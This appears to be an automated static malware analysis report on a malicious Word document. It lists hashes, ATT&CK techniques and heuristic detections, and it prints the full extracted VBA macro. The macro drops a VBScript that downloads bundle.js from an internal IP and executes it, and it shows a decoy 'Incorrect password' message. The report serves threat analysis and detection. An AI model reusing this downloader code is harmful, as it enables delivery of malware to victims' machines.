Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b3c1ae42c6cd4bb3…

MALICIOUS

Office (OOXML)

19.7 KB Created: 2021-04-25 18:51:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 548dc10231f3362a3be0d86f313cd656 SHA-1: 563fa5895b7b91ff9f54533a9a77be4006ad6111 SHA-256: b3c1ae42c6cd4bb35c29634bc97d8caa7e5891dc7b494fadf33fa5e853623e8e
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.007 JavaScript T1105 Ingress Tool Transfer

The sample contains VBA macros that utilize WScript.Shell and CreateObject to download a JavaScript file from 'http://192.168.50.100/bundle.js' and save it as 'C:\Users\Public\test.vbs'. The script then proceeds to execute this downloaded JavaScript, indicating a multi-stage attack where the initial document serves as a downloader for a secondary payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Shell "wscript C:\Users\Public\test.vbs"
End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Print #FileFunct, "objFile.Close( )"
        Print #FileFunct, "Set WshShell = WScript.CreateObject(""WScript.Shell"")"
        Print #FileFunct, "WshShell.Run ""C:\Users\Public\bundle.js"" "
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
            Print #FileFunct, "objFile.Close( )"
        Print #FileFunct, "Set WshShell = WScript.CreateObject(""WScript.Shell"")"
        Print #FileFunct, "WshShell.Run ""C:\Users\Public\bundle.js"" "
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Print #FileFunct, "Const ForReading = 1, ForWriting = 2, ForAppending = 8"
        Print #FileFunct, "Set objFSO = CreateObject( ""Scripting.FileSystemObject"" )"
        Print #FileFunct, "If objFSO.FolderExists( myPath ) Then"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Close FileFunct
    MsgBox "Incorrect password. IT security will be notified following further violations by" & (Environ("COMPUTERNAME"))
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.50.100/bundle.js Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2441 bytes
SHA-256: c2f4749c0a38d4412a9eeebc37de03f5cccc299986a8afe0978722d3b3636a7e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub NewFile()
    Dim YourPath As String
    Dim FileFunct As Integer
    
    YourPath = "C:\Users\Public\test.vbs"
    FileFunct = FreeFile
    
    Open YourPath For Output As FileFunct
    
        Print #FileFunct, "HTTPDownload ""http://192.168.50.100/bundle.js"", ""C:\Users\Public"" "
        Print #FileFunct, "Sub HTTPDownload( myURL, myPath )"
        Print #FileFunct, "Dim i, objFile, objFSO, objHTTP, strFile, strMsg"
        Print #FileFunct, "Const ForReading = 1, ForWriting = 2, ForAppending = 8"
        Print #FileFunct, "Set objFSO = CreateObject( ""Scripting.FileSystemObject"" )"
        Print #FileFunct, "If objFSO.FolderExists( myPath ) Then"
        Print #FileFunct, "strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev(myURL, ""/"" ) + 1 ) )"
        Print #FileFunct, "ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath,""\"" ) - 1 ) ) Then"
        Print #FileFunct, "strFile = myPath"
        Print #FileFunct, "End If"
        Print #FileFunct, "Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True)"
        Print #FileFunct, "Set objHTTP = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )"
        Print #FileFunct, "objHTTP.Open ""GET"", myURL, False"
        Print #FileFunct, "objHTTP.Send"
        Print #FileFunct, "For i = 1 To LenB( objHTTP.ResponseBody )"
        Print #FileFunct, "objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1) ) )"
        Print #FileFunct, "Next"
        Print #FileFunct, "objFile.Close( )"
        Print #FileFunct, "Set WshShell = WScript.CreateObject(""WScript.Shell"")"
        Print #FileFunct, "WshShell.Run ""C:\Users\Public\bundle.js"" "
        Print #FileFunct, " End Sub"
        Print #FileFunct,
        Print #FileFunct,
        Print #FileFunct,
        Print #FileFunct,
        Print #FileFunct,
        Print #FileFunct,
        Print #FileFunct,
        Print #FileFunct,
        Print #FileFunct,
    Close FileFunct
    MsgBox "Incorrect password. IT security will be notified following further violations by" & (Environ("COMPUTERNAME"))
    
  Shell "wscript C:\Users\Public\test.vbs"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 21504 bytes
SHA-256: 20e73240dbe07060d57e4bb482e2f7ec2740c22480370f0c05be4d3bb7e60fb3

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